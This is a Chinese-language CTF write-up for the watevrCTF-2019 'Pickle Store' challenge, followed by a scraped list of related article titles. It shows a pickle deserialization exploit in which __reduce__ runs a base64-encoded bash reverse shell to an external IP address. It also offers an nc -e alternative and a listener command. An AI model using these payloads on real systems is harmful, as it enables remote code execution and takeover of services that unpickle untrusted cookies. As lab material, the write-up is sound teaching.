[watevrCTF-2019]Pickle Store
目录
- 思路
- 题解
- 总结
思路
先抓个包看看,里面有个session
base64解码后拿到一串乱码,根据题目可以得知考点是pickle反序列化
import base64
import pickleprint(pickle.loads(base64.b64decode("gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu")))
pickle反序列化可以用__reduce__
魔术方法来重写里面的方法
在开发时,可以通过重写类的 object.reduce() 函数,使之在被实例化时按照重写的方
式进行。具体而言, python 要求 object.reduce() 返回一个 (callable,
([para1,para2…])[,…]) 的元组,每当该类的对象被 unpickle 时,该 callable 就
会被调用以生成对象(该 callable 其实是构造函数)。
题解
直接拿模板
exp
import base64
import pickleclass shell(object):def __reduce__(self):# bash -i >& /dev/tcp/你的ip/9999 0>&1的base64#不能直接bash -i 0>&1那种写法,因为像是&这些符号 都是linux的shell关键字 会影响他的语法return (eval, ("__import__('os').system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTkuOTEuMjYuMjI5Lzk5OTkgMD4mMQ== | base64 -d | bash ')",))k = shell()
print(base64.b64encode(pickle.dumps(k)))
也可以用nc ip port -e /bin/bash
,不过nc -e的主动连接不一定成功 因为他不一定装了nc
然后再你的vps里监听 9999 端口
nc -lvp 9999
把拿到的结果写入cookie发包,成功反弹shell
总结
中途遇到了点问题,连接被拒绝,发现是安全组策略问题,放行一些端口就好了
[watevrCTF-2019]Pickle Store相关推荐
- [watevrCTF 2019]Baby RLWE
[watevrCTF 2019]Baby RLWE 题目 Mateusz carried a huge jar of small papers with public keys written on ...
- [watevrCTF 2019]Repyc [NPUCTF2020]BasicASM
文章目录 [watevrCTF 2019]Repyc 反编译 替换后 整体思路: 脚本: [NPUCTF2020]BasicASM 查看题目: 分析 `call __CheckForDebuggerJ ...
- BUUCTF:[watevrCTF 2019]Evil Cuteness
题目地址:https://buuoj.cn/challenges#[watevrCTF%202019]Evil%20Cuteness binwalk分析,发现zip压缩包,使用dd命令分离提取压缩包 ...
- [watevrCTF-2019]Pickle Store pickle序列化漏洞~~
题目介绍 要有1000美元买flag,然后我们查看header,扫目录之类的操作,最后在cookie中发现问题~~ gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3 ...
- python安全之Pickle反序列化漏洞学习。
文章目录 前言 正文 1.有关__reduce__() 2.R指令的禁用 3.有关opcode的编写 (1)原始的方法(手写) (2)神器pker 4.题目加更 5.后记 前言 写这篇文章的起因是两次 ...
- android版本新 老程序不能用_苹果公布 2019 年中国区最佳 App / Android 版微信更新,支持斗图 / 美团饿了么签署安全承诺...
2019 年 App Store 中国区最佳 App 公布苹果中国官方公布了 2019 App Store 本土优秀 App.游戏的最终候选清单,共有 4 款应用.24 款游戏入围, 包括智能修图应用 ...
- BUU刷题记录——5
October 2019 Twice SQL Injection 由题目名可知为二次注入 username =1' union select database() # username =1' uni ...
- BUUCTF MISC刷题笔记(三)
BUUOJ Misc [MRCTF2020]pyFlag Business Planning Group [ACTF新生赛2020]剑龙 [GWCTF2019]huyao [UTCTF2020]Fil ...
- 2021-12-27
[watevrCTF 2019]Crypto over the intrawebs 题目 import socket, select, signal, string import sys, os, t ...
最新文章
- c位边上还有什么位_站c位是什么位置?众女星合影惠英红C位童瑶站边角,惠英红为何能站C位?...
- 创业初期,处理好事情的优先级
- 分布式锁防止订单重复提交_防止表单重复提交看这里!!!
- l和l_L&T的完整形式是什么?
- git(5)---Git 与Repo 管理Android代码
- mysql复合语句声明开始于_mysql8 参考手册--BEGIN ... END复合语句
- Atom 备份神器 —— Sync Settings
- python 内置浏览器robobrowser_Python RoboBrowser – 如何从此页面获取内容
- php 之 json格式
- 测绘工程野外测量实践实习
- 上传图片方法大全 [网摘]
- android webview 慢,Android Webview的性能问题
- arcgis点连线_ArcGIS中,一个点集里的点两两连线,比如有4个点,就连6条线
- 第三篇--编译CM系统
- oc 管理工具 黑苹果 下载_灵越7590黑苹果(win10下)
- LaTex算法代码排版-algorithm2e
- 站在巨人的肩膀上,用Node+ChatGPT模块实现一个接口
- 魔方APP项目-04-用户模块API接口、Marshmallow,基本构造器(Schema),Schema数据序列化、Schema数据反序列化、反序列化对数据验证、模型构造器(ModelSchema)
- Yii-- 应用(Applications)
- trc20和erc20、OMNI有什么区别